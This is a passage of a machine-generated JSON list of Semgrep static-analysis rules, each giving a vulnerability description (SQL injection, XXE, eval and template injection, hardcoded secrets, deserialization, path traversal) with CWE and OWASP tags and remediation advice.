statements."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","id":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","name":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli)\n - [https://www.sqlitetutorial.net/sqlite-nodejs/](https://www.sqlitetutorial.net/sqlite-nodejs/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli","id":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","name":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-sqlite-sqli.express-sqlite-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","id":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","name":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","id":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","name":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express","id":"javascript.express.db.mongoose-where-express.mongoose-where-express","name":"javascript.express.db.mongoose-where-express.mongoose-where-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-where-express.mongoose-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into eval. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into eval. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Detected user data flowing into eval. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection","id":"python.flask.security.injection.user-eval.eval-injection","name":"python.flask.security.injection.user-eval.eval-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-eval.eval-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"help":{"markdown":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","id":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","name":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"help":{"markdown":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","id":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","name":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret)\n - [https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","id":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","name":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","id":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","name":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context","id":"python.django.security.globals-as-template-context.globals-as-template-context","name":"python.django.security.globals-as-template-context.globals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.globals-as-template-context.globals-as-template-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","id":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","name":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","id":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","name":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","id":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","name":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"help":{"markdown":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n","text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","id":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","name":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module 